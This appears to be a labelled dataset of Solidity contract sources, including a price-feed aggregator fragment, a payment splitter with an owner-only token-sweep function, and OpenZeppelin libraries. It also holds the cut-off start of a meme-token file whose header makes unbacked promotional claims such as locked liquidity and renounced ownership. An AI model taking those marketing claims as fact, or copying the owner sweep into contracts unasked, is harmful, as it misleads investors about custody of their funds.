* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values. Consumers are encouraged to
* use this more fully featured method over the "legacy" latestAnswer
* functions. Consumers are encouraged to check that they're receiving fresh
* data by inspecting the updatedAt and answeredInRound return values.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answerInRound is equal to roundId when the round didn't time out
* and was completed regularly.
* @dev overridden funcion to add the checkAccess() modifier
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet
* received maxSubmissions) answer and updatedAt may change between queries.
*/
function latestRoundData()
public
view
override
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.latestRoundData();
}
/**
* @notice get the most recently reported answer
* @dev overridden funcion to add the checkAccess() modifier
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestAnswer()
public
view
override
checkAccess()
returns (int256)
{
return super.latestAnswer();
}
/**
* @notice get the most recently reported round ID
* @dev overridden funcion to add the checkAccess() modifier
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestRound()
public
view
override
checkAccess()
returns (uint256)
{
return super.latestRound();
}
/**
* @notice get the most recent updated at timestamp
* @dev overridden funcion to add the checkAccess() modifier
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestTimestamp()
public
view
override
checkAccess()
returns (uint256)
{
return super.latestTimestamp();
}
/**
* @notice get past rounds answers
* @dev overridden funcion to add the checkAccess() modifier
* @param _roundId the round number to retrieve the answer for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getAnswer(uint256 _roundId)
public
view
override
checkAccess()
returns (int256)
{
return super.getAnswer(_roundId);
}
/**
* @notice get timestamp when an answer was last updated
* @dev overridden funcion to add the checkAccess() modifier
* @param _roundId the round number to retrieve the updated timestamp for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getTimestamp(uint256 _roundId)
public
view
override
checkAccess()
returns (uint256)
{
return super.getTimestamp(_roundId);
}
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|
// SPDX-License-Identifier: MIT
/// @title: Payment Splitter Factory
/// @author: DropHero LLC
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract PaymentSplitterWithERC20Transfer is Ownable, PaymentSplitter {
constructor(
address[] memory payees,
uint256[] memory paymentShares
) PaymentSplitter(payees, paymentShares) {}
function withdrawERC20(IERC20 tokenAddress, address to) external onlyOwner {
tokenAddress.transfer(to, tokenAddress.balanceOf((address)(this)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Address.sol";
import "../utils/Context.sol";
import "../utils/math/SafeMath.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
} | True | [
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|
/*
https://t.me/shibcustard
Shiba Custard
$ShibCustard
So delicious!
░██████╗██╗░░██╗██╗██████╗░░█████╗░██╗░░░██╗░██████╗████████╗░█████╗░██████╗░██████╗░
██╔════╝██║░░██║██║██╔══██╗██╔══██╗██║░░░██║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗
╚█████╗░███████║██║██████╦╝██║░░╚═╝██║░░░██║╚█████╗░░░░██║░░░███████║██████╔╝██║░░██║
░╚═══██╗██╔══██║██║██╔══██╗██║░░██╗██║░░░██║░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██║░░██║
██████╔╝██║░░██║██║██████╦╝╚█████╔╝╚██████╔╝██████╔╝░░░██║░░░██║░░██║██║░░██║██████╔╝
╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░░╚════╝░░╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░
Twitter: https://twitter.com/shibcustard
Telegram: https://t.me/shibcustard
Instagram: https://instagram.com/shibcustard
Website: shibcustard.com
Reddit: https://www.reddit.com/r/shibcustard
Marketing paid
Liqudity Locked
Ownership renounced
No Devwallets
CG, CMC listing: Ongoing
Devs of Shibcustard ©
SPDX-License-Identifier: Mines™®©
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
